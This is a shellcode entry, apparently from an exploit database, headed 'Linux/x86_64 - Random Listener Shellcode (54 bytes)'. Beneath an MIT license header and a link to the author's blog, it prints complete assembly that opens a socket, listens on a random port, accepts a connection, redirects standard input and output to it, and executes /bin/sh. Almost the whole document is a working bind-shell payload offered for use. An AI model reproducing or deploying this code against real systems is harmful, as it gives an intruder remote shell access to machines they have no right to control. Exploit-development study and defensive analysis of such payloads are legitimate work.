Linux/x86_64 - Random Listener Shellcode (54 bytes)



EKU-ID: 6332 CVE: OSVDB-ID:
Author: Robert L. Taylor Published: 2017-02-28 Verified: Verified
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;The MIT License (MIT)
 
;Copyright (c) 2017 Robert L. Taylor
 
;Permission is hereby granted, free of charge, to any person obtaining a
;copy of this software and associated documentation files (the “Software”),
;to deal in the Software without restriction, including without limitation
;the rights to use, copy, modify, merge, publish, distribute, sublicense,
;and/or sell copies of the Software, and to permit persons to whom the
;Software is furnished to do so, subject to the following conditions:
 
;The above copyright notice and this permission notice shall be included
;in all copies or substantial portions of the Software.
 
;The Software is provided “as is”, without warranty of any kind, express or
;implied, including but not limited to the warranties of merchantability,
;fitness for a particular purpose and noninfringement. In no event shall the
;authors or copyright holders be liable for any claim, damages or other
;liability, whether in an action of contract, tort or otherwise, arising
;from, out of or in connection with the software or the use or other
;dealings in the Software.
;
; For a detailed explanation of this shellcode see my blog post:
; http://a41l4.blogspot.ca/2017/02/shellrandomlisten1434.html
 
global _start
 
section .text
 
_start:
; Socket
    push 41
    pop rax
    push 2
    pop rdi
    push 1
    pop rsi
    cdq
    syscall
; Listen
    xor esi,esi
    xchg eax,edi
    mov al,50
    syscall
; Accept
    mov al,43
    syscall
; Dup 2
    push 3
    pop rsi
    xchg edi,eax
dup2loop:
    push 33
    pop rax
    dec esi
    syscall
    jne dup2loop
; Execve
    ; rax and rsi and rdx are zero already
        push rax ; zero terminator for the following string that we are pushing
 
        ; push /bin//sh in reverse
        mov rbx, '/bin//sh'
        push rbx
 
        ; store /bin//sh address in RDI
    push rsp
    pop rdi
    
        ; Call the Execve syscall
    mov al, 59
        syscall